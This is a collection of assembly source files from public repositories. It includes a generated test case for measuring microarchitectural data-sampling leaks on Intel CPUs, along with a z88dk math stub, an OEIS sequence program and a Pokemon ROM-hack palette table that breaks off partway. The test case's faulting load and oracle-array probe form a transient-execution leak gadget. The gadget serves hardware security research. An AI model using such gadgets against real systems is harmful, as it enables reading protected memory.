36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
||||
TheStack | 9938756cf988a4af891bafa9e97f7e95cb046fcf | Assemblycode:Assembly | {"size": 5351, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1798.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1798.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1798.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 43.1532258065, "max_line_length": 2999, "alphanum_fraction": 0.6600635395} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x9bfb, %rsi
lea addresses_WC_ht+0x113bb, %rdi
nop
cmp %r15, %r15
mov $106, %rcx
rep movsq
nop
nop
nop
and $52350, %r10
lea addresses_WC_ht+0xd17b, %rbx
nop
nop
nop
xor %r9, %r9
mov (%rbx), %ecx
nop
nop
nop
nop
and $50625, %r15
lea addresses_A_ht+0x6d3b, %rsi
lea addresses_WT_ht+0xdffb, %rdi
nop
nop
nop
nop
inc %rbx
mov $75, %rcx
rep movsq
nop
nop
nop
cmp $41072, %rsi
lea addresses_UC_ht+0xed4b, %r15
nop
nop
nop
nop
nop
add $42337, %r9
movb $0x61, (%r15)
nop
sub $33926, %r10
lea addresses_WC_ht+0x12bfb, %rsi
lea addresses_WC_ht+0x39b, %rdi
inc %r15
mov $18, %rcx
rep movsl
nop
nop
nop
add $28511, %rsi
lea addresses_WC_ht+0x1757b, %r15
nop
nop
nop
sub $21946, %rdi
mov (%r15), %rcx
nop
nop
nop
xor %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rdi
push %rsi
// Faulty Load
mov $0x2c93c0000000bfb, %r14
nop
nop
nop
inc %r15
mov (%r14), %si
lea oracles, %r14
and $0xff, %rsi
shlq $12, %rsi
mov (%r14,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 103648272debcb556c83ff7026aa9466f11dfcb7 | Assemblycode:Assembly | {"size": 147, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/ldexp_callee.asm", "max_stars_repo_name": "ahjelm/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/ldexp_callee.asm", "max_issues_repo_name": "C-Chads/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/ldexp_callee.asm", "max_forks_repo_name": "C-Chads/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 21.0, "max_line_length": 53, "alphanum_fraction": 0.768707483} |
SECTION code_fp_math16
PUBLIC _ldexpf16_callee
EXTERN cm16_sdcc_ldexp_callee
defc _ldexpf16_callee = cm16_sdcc_ldexp_callee
|
||||
TheStack | 04eaad937005cd0a1ab87137904bde146ab6ebde | Assemblycode:Assembly | {"size": 510, "ext": "asm", "max_stars_repo_path": "oeis/105/A105773.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/105/A105773.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/105/A105773.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 63.75, "max_line_length": 382, "alphanum_fraction": 0.7176470588} | ; A105773: Numbers n such that 11*n + 97 is prime.
; 0,6,12,14,20,26,32,50,54,60,66,74,80,84,90,92,96,110,116,122,126,132,134,140,150,162,164,174,182,186,200,204,216,222,234,236,246,260,264,266,270,272,284,294,306,312,320,330,336,344,350,356,360,362,374,392,402,414,416,426,434,440,446,456,462,476,482,486,494,504,522,524,530,540,560,564,566,570,572,584,596,602,606,612,620,624,626,630,642,650,672,680,684,686,690,696,704,710,714,720
add $0,2
seq $0,141856 ; Primes congruent to 9 mod 11.
sub $0,97
div $0,11
|
||||
TheStack | 40588f4423d7f7d57f8414f762a6226529567a2a | Assemblycode:Assembly | {"size": 19204, "ext": "asm", "max_stars_repo_path": "color/data/map_palette_assignments.asm", "max_stars_repo_name": "etdv-thevoid/pokemon-rgb-enhanced", "max_stars_repo_stars_event_min_datetime": "2022-01-09T05:28:52.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-09T05:28:52.000Z", "max_issues_repo_path": "color/data/map_palette_assignments.asm", "max_issues_repo_name": "ETDV-TheVoid/pokemon-rgb-enhanced", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "color/data/map_palette_assignments.asm", "max_forks_repo_name": "ETDV-TheVoid/pokemon-rgb-enhanced", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 97.4822335025, "max_line_length": 130, "alphanum_fraction": 0.5643615913} | ; $60 bytes for each tileset. Each byte is the palette number for a tile.
; Remaining $a0 tiles aren't part of the tileset and are set to 7 (text palette).
; Refer to MapPaletteSets for clarification on specific colors
; Each row of entries corresponds to a row of tiles on the tileset image
MapPaletteAssignments:
; OVERWORLD
db GRAY, BROWN, BROWN, RED, BROWN, ROOF, ROOF, ROOF, ROOF, ROOF, YELLOW, YELLOW, YELLOW, GRAY, BROWN, GRAY
db GRAY, BROWN, ROOF, BROWN, BLUE, ROOF, ROOF, ROOF, ROOF, ROOF, GRAY, BROWN, BROWN, GREEN, BROWN, GRAY
db GRAY, GRAY, GRAY, GRAY, BROWN, ROOF, ROOF, BROWN, ROOF, ROOF, GRAY, GRAY, GREEN, GREEN, GREEN, GRAY
db GREEN, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, GRAY, GRAY, GRAY, BROWN, GREEN, GREEN, GRAY
db GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY, BROWN, ROOF, ROOF, GRAY, GRAY
db GREEN, GREEN, GREEN, ROOF, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN, ROOF, BROWN, ROOF, ROOF, GRAY, GRAY
; REDS_HOUSE_1
db BROWN, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, GRAY, GRAY, GRAY
; MART
db GRAY, GRAY, RED, RED, BROWN, BROWN, GRAY, GRAY, ROOF, GRAY, ROOF, GRAY, RED, GRAY, ROOF, ROOF
db ROOF, GRAY, RED, RED, BROWN, BROWN, GRAY, RED, BROWN, BROWN, GRAY, GRAY, RED, RED, ROOF, ROOF
db GREEN, GREEN, BROWN, BROWN, RED, TEXT, RED, RED, BROWN, ROOF, RED, RED, ROOF, ROOF, ROOF, ROOF
db GREEN, GREEN, BROWN, BROWN, RED, TEXT, GRAY, RED, ROOF, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF, ROOF
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF, ROOF, YELLOW, YELLOW
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY
; FOREST
db GREEN, YELLOW, BROWN, BROWN, ROOF, ROOF, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN, BROWN, BROWN
db GRAY, GRAY, BROWN, BROWN, BLUE, ROOF, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GREEN, BROWN, BROWN, ROOF, ROOF, ROOF, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GREEN, BROWN, BROWN, GRAY, GREEN, BROWN, BROWN, RED, BROWN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN
db GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN
; REDS_HOUSE_2
db BROWN, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, GRAY, GRAY, GRAY
; DOJO
db ROOF, GRAY, BROWN, RED, GRAY, GRAY, RED, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY
db ROOF, GRAY, BROWN, BROWN, BLUE, GRAY, RED, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY
db GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, ROOF, ROOF, GRAY, BROWN, BROWN, GREEN, GREEN, GREEN, GREEN, GREEN
db GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, RED, RED, ROOF, RED
db GREEN, GREEN, ROOF, ROOF, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, RED, RED, BROWN, BROWN
db GREEN, GREEN, ROOF, ROOF, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, BROWN, BROWN
; POKECENTER
db GRAY, GRAY, RED, RED, BROWN, BROWN, GRAY, GRAY, ROOF, GRAY, ROOF, GRAY, RED, GRAY, ROOF, ROOF
db ROOF, GRAY, RED, RED, BROWN, BROWN, GRAY, RED, BROWN, BROWN, GRAY, GRAY, RED, RED, ROOF, ROOF
db GREEN, GREEN, BROWN, BROWN, RED, YELLOW, RED, RED, BROWN, ROOF, RED, RED, ROOF, ROOF, ROOF, ROOF
db GREEN, GREEN, BROWN, BROWN, RED, YELLOW, GRAY, RED, ROOF, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF, ROOF
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF, ROOF, YELLOW, YELLOW
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY
; GYM
db ROOF, GRAY, BROWN, RED, GRAY, GRAY, RED, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY
db ROOF, GRAY, BROWN, BROWN, BLUE, GRAY, RED, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY
db GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, ROOF, ROOF, GRAY, BROWN, BROWN, GREEN, GREEN, GREEN, GREEN, GREEN
db GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, RED, RED, ROOF, RED
db GREEN, GREEN, ROOF, ROOF, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, RED, RED, BROWN, BROWN
db GREEN, GREEN, ROOF, ROOF, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, BROWN, BROWN
; HOUSE
db BROWN, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, GREEN, GREEN, GREEN, GREEN, GREEN, GREEN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, RED, GRAY, BLUE, BLUE, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN
db GRAY, GRAY, BLUE, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
; FOREST_GATE
db BROWN, ROOF, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN, ROOF, ROOF, BROWN, BROWN, BROWN, ROOF, ROOF, GRAY, GRAY
db BROWN, ROOF, BROWN, BROWN, GRAY, BROWN, BROWN, RED, RED, GRAY, ROOF, BROWN, ROOF, ROOF, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, GRAY, BROWN, GRAY, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, RED, GRAY
; MUSEUM
db BROWN, RED, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN, ROOF, ROOF, BROWN, BROWN, BROWN, ROOF, ROOF, ROOF, ROOF
db ROOF, ROOF, BROWN, BROWN, GRAY, BROWN, BROWN, RED, RED, GRAY, ROOF, BROWN, ROOF, ROOF, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF, ROOF, BROWN, GRAY, BROWN, GRAY, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, RED, GRAY
; UNDERGROUND
db GRAY, RED, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, RED, RED, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, BROWN, BROWN, RED, GRAY, GRAY, RED, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
; GATE
db BROWN, GREEN, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, RED, GREEN, GREEN, BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN, ROOF, ROOF, BROWN, BROWN, BROWN, ROOF, ROOF, GRAY, GRAY
db BROWN, ROOF, BROWN, BROWN, GRAY, BROWN, BROWN, RED, RED, GRAY, ROOF, BROWN, ROOF, ROOF, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, GRAY, BROWN, GRAY, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, RED, GRAY
; SHIP
db GRAY, GRAY, ROOF, ROOF, YELLOW, GRAY, GRAY, RED, RED, BROWN, BROWN, GRAY, BROWN, GRAY, RED, RED
db GRAY, GRAY, ROOF, ROOF, BLUE, GRAY, GRAY, RED, RED, BROWN, BROWN, GRAY, BROWN, RED, RED, RED
db ROOF, ROOF, GRAY, YELLOW, RED, GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, BROWN, BROWN, BROWN, GREEN, GREEN
db ROOF, ROOF, GRAY, GRAY, RED, RED, BROWN, BROWN, BROWN, ROOF, ROOF, BROWN, BROWN, BROWN, GREEN, GREEN
db BROWN, BROWN, RED, RED, BROWN, BROWN, GRAY, GRAY, RED, RED, YELLOW, GRAY, GRAY, GRAY, GRAY, GRAY
db BROWN, BROWN, GRAY, GRAY, RED, RED, GRAY, GRAY, RED, RED, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
; SHIP_PORT
db GRAY, GREEN, BLUE, BLUE, BLUE, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY, GRAY, BLUE, BLUE, BLUE
db BLUE, BLUE, BROWN, BROWN, BLUE, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN
db BLUE, GRAY, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BLUE, GRAY, GRAY, GRAY, GRAY, BROWN
db BLUE, BLUE, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db BLUE, GRAY, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN
db GREEN, BLUE, GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, BROWN, BROWN, GRAY, BLUE, GRAY, GRAY, GRAY, GRAY
; CEMETERY
db GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN, RED, RED, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN, RED, RED, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN
